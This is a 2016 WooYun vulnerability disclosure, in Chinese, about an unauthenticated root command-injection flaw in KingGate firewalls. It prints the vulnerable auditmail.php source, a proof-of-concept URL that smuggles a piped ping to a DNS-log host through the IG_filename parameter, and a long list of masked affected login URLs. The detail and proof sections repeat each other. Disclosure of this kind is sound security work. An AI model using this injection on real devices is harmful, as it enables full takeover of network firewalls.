当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0180000

漏洞标题:某防火墙远程命令执行二(cloudeye演示实例)

相关厂商:深圳金山信息安全技术有限公司

漏洞作者: 老虎皮

提交时间:2016-03-02 11:30

修复时间:2016-06-04 20:30

公开时间:2016-06-04 20:30

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-02: 细节已通知厂商并且等待厂商处理中
2016-03-06: 厂商已经确认,细节仅向厂商公开
2016-03-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2016-06-04: 细节向公众公开

简要描述:

厂商说不管,请管理员交给cert处理

详细说明:

无需登录,远程任意命令执行(root权限),直接撸穿源代码,随意控制防火墙
该设计缺陷新旧版本的KingGate防火墙通杀
该设计缺陷新旧版本的KingGate防火墙通杀

1.png


2.png


通过案例一 **.**.**.**/bugs/wooyun-2016-0176999 我已经撸到了源代码
在对源代码审计过程中发现一枚无需登录的远程命令执行漏洞
在源代码src/application/log/auditmail.php中

<? 
require("../../lib/public.inc");
require("../../lib/page_db.inc");
$thema_name="default";
$theme=zr_getTheme($thema_name); // 主题
$dir="./";

// **.**.**.**/spool/viewmail.php?IG_filename=2006-11-01-15-03-28-21050-1.eml&IG_type=POP3
// 2006-11-22-14-08-39-13588-1.eml
$IG_filename=trim($IG_filename);
//echo "filename:$IG_filename<br>";
if ($IG_filename == "" || $table_name == "")
exit();
$mail_dir="/var/log/infogate/mailgate/spool/".substr($IG_filename,0,10);

$tmpdir = substr( strrchr( $IG_filename, "/" ), 1 );
$linkdir = "/link/guitmp/audit/".$IG_filename."/";
$tmpdir = "/var/log/infogate/guitmp/audit/".$IG_filename."/";

if (!file_exists($tmpdir)){
$cmd="mkdir -p ".$tmpdir;
system($cmd);
}
if ($REQUEST_METHOD == "GET"){
system("rm -rf $tmpdir/*");
$outfile = "$tmpdir/ZR_sourcemail.eml";
$cmd="/usr/local/sbin/pickupfile $mail_dir/$IG_filename $outfile";
system($cmd);
//echo "$cmd<br><br>";
$cmd="/usr/local/sbin/ripmime -i $outfile -d ".$tmpdir." -e -p zrmail --overwrite --prefix > /dev/null";
//echo "$cmd<br>";
system($cmd);

$cmd="chmod a+wr $tmpdir -R ";
system($cmd);


该套防火墙采用伪全局方式获取变量,
其中变量IG_filename 可控,并未过滤或者其他安全处理

$tmpdir = "/var/log/infogate/guitmp/audit/".$IG_filename."/";


进而导致$tmpdir可控,而$tmpdir又是直接进入system函数直接执行命令,所以导致直接远程命令执行(无需登录)
所以只要我们构造好特殊的命令即可执行
**.**.**.**/src/application/log/auditmail.php?IG_filename=1|ping xxxxx.xxxx.dnslog.info &table_name=3333

1.png


查看cloudeye的dns日志

2.png


受影响的如下列表:
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php

漏洞证明:

通过案例一 **.**.**.**/bugs/wooyun-2016-0176999 我已经撸到了源代码
在对源代码审计过程中发现一枚无需登录的远程命令执行漏洞
在源代码src/application/log/auditmail.php中

<? 
require("../../lib/public.inc");
require("../../lib/page_db.inc");
$thema_name="default";
$theme=zr_getTheme($thema_name); // 主题
$dir="./";

// **.**.**.**/spool/viewmail.php?IG_filename=2006-11-01-15-03-28-21050-1.eml&IG_type=POP3
// 2006-11-22-14-08-39-13588-1.eml
$IG_filename=trim($IG_filename);
//echo "filename:$IG_filename<br>";
if ($IG_filename == "" || $table_name == "")
exit();
$mail_dir="/var/log/infogate/mailgate/spool/".substr($IG_filename,0,10);

$tmpdir = substr( strrchr( $IG_filename, "/" ), 1 );
$linkdir = "/link/guitmp/audit/".$IG_filename."/";
$tmpdir = "/var/log/infogate/guitmp/audit/".$IG_filename."/";

if (!file_exists($tmpdir)){
$cmd="mkdir -p ".$tmpdir;
system($cmd);
}
if ($REQUEST_METHOD == "GET"){
system("rm -rf $tmpdir/*");
$outfile = "$tmpdir/ZR_sourcemail.eml";
$cmd="/usr/local/sbin/pickupfile $mail_dir/$IG_filename $outfile";
system($cmd);
//echo "$cmd<br><br>";
$cmd="/usr/local/sbin/ripmime -i $outfile -d ".$tmpdir." -e -p zrmail --overwrite --prefix > /dev/null";
//echo "$cmd<br>";
system($cmd);

$cmd="chmod a+wr $tmpdir -R ";
system($cmd);


该套防火墙采用伪全局方式获取变量,
其中变量IG_filename 可控,并未过滤或者其他安全处理

$tmpdir = "/var/log/infogate/guitmp/audit/".$IG_filename."/";


进而导致$tmpdir可控,而$tmpdir又是直接进入system函数直接执行命令,所以导致直接远程命令执行(无需登录)
所以只要我们构造好特殊的命令即可执行
**.**.**.**/src/application/log/auditmail.php?IG_filename=1|ping xxxxx.xxxx.dnslog.info &table_name=3333

1.png


查看cloudeye的dns日志

2.png


受影响的如下列表:
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php

修复方案:

版权声明:转载请注明来源 老虎皮@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-03-06 20:27

厂商回复:

CNVD未直接复现所述漏洞情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无